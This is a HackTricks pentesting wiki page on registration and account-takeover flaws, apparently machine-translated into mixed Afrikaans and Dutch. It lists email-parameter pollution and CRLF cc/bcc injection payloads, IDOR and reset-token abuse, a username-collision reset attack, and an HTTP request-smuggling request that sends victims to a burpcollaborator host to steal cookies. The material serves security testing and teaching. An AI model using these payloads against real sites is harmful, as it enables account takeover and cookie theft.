hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-11 02:07:06 +00:00

181 lines
8.4 KiB
Markdown

# Registrasie- en Oornamekwesbaarhede
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
## Oorname van Registrasie
### Duplikaat Registrasie
* Probeer genereer met 'n bestaande gebruikersnaam
* Kontroleer variasie in die e-pos:
* hoofletters
* \+1@
* voeg 'n paar punte by die e-pos
* spesiale karakters in die e-posnaam (%00, %09, %20)
* Plaas swart karakters na die e-pos: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Gebruikersnaamondersoek
Kyk of jy kan vasstel wanneer 'n gebruikersnaam reeds geregistreer is binne die toepassing.
### Wagwoordbeleid
Wanneer jy 'n gebruiker skep, kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).\
In daardie geval kan jy probeer om geloofsbriewe te kragteloos.
### SQL-injectie
[Kyk na hierdie bladsy](sql-injection/#insert-statement) om te leer hoe om rekeningsoorname te probeer of inligting te onttrek deur middel van **SQL-injecties** in registrasievorms.
### Oauth-oornames
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML-kwesbaarhede
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Verander E-pos
Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of dit na willekeurige e-posse verander kan word.
### Meer Kontroles
* Kyk of jy **weggooi-e-posse** kan gebruik
* **Lang** **wagwoord** (>200) lei tot **DoS**
* **Kyk na tempo-beperkings op rekening-skepping**
* Gebruik username@**burp\_collab**.net en analiseer die **terugroep**
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR op API-parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Aanvaller moet inloggen met hun account en naar de functie **Wachtwoord wijzigen** gaan.
2. Start Burp Suite en onderschept het verzoek.
3. Stuur het naar het repeater-tabblad en bewerk de parameters: Gebruikers-ID/e-mail\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Zwak wachtwoordhersteltoken <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Het wachtwoordhersteltoken moet telkens willekeurig gegenereerd en uniek zijn.\
Probeer te bepalen of het token verloopt of altijd hetzelfde is, in sommige gevallen is het generatie-algoritme zwak en kan het geraden worden. De volgende variabelen kunnen door het algoritme worden gebruikt.
* Tijdstempel
* Gebruikers-ID
* E-mail van gebruiker
* Voornaam en achternaam
* Geboortedatum
* Cryptografie
* Alleen nummers
* Kleine tokenreeks (tekens tussen \[A-Z,a-z,0-9])
* Hergebruik van token
* Vervaldatum van token
### Uitlekken van wachtwoordhersteltoken <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Activeer een wachtwoordherstelverzoek met behulp van de API/UI voor een specifiek e-mailadres, bijvoorbeeld: test@mail.com
2. Inspecteer het serverantwoord en controleer op `resetToken`
3. Gebruik vervolgens het token in een URL zoals `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Wachtwoordherstel via gebruikersnaamcollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registreer op het systeem met een gebruikersnaam die identiek is aan de gebruikersnaam van het slachtoffer, maar met spaties ingevoegd voor en/of na de gebruikersnaam, bijvoorbeeld: `"admin "`
2. Vraag een wachtwoordherstel aan met uw kwaadwillende gebruikersnaam.
3. Gebruik het naar uw e-mail gestuurde token en stel het wachtwoord van het slachtoffer opnieuw in.
4. Maak verbinding met het account van het slachtoffer met het nieuwe wachtwoord.
Het platform CTFd was kwetsbaar voor deze aanval.\
Zie: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Accountovertname via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Zoek een XSS binnen de applicatie of een subdomein als de cookies zijn beperkt tot het bovenliggende domein: `*.domain.com`
2. Lek de huidige **sessiecookie**
3. Authenticeer als de gebruiker met behulp van de cookie
### Accountovertname via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Gebruik **smuggler** om het type HTTP Request Smuggling (CL, TE, CL.TE) te detecteren\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Maak een verzoek dat de `POST / HTTP/1.1` overschrijft met de volgende gegevens:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` met als doel de slachtoffers door te sturen naar burpcollab en hun cookies te stelen\
3\. Het uiteindelijke verzoek kan er als volgt uitzien
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone-rapporteerders maak gebruik van hierdie fout\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Rekeningsoorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Skep 'n lading vir die CSRF, bv. "HTML-vorm met outomatiese indiening vir 'n wagwoordverandering"
2. Stuur die lading
### Rekeningsoorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
* Wysig die JWT met 'n ander gebruikers-ID / E-pos
* Kyk vir swak JWT-handtekening
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Verwysings
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>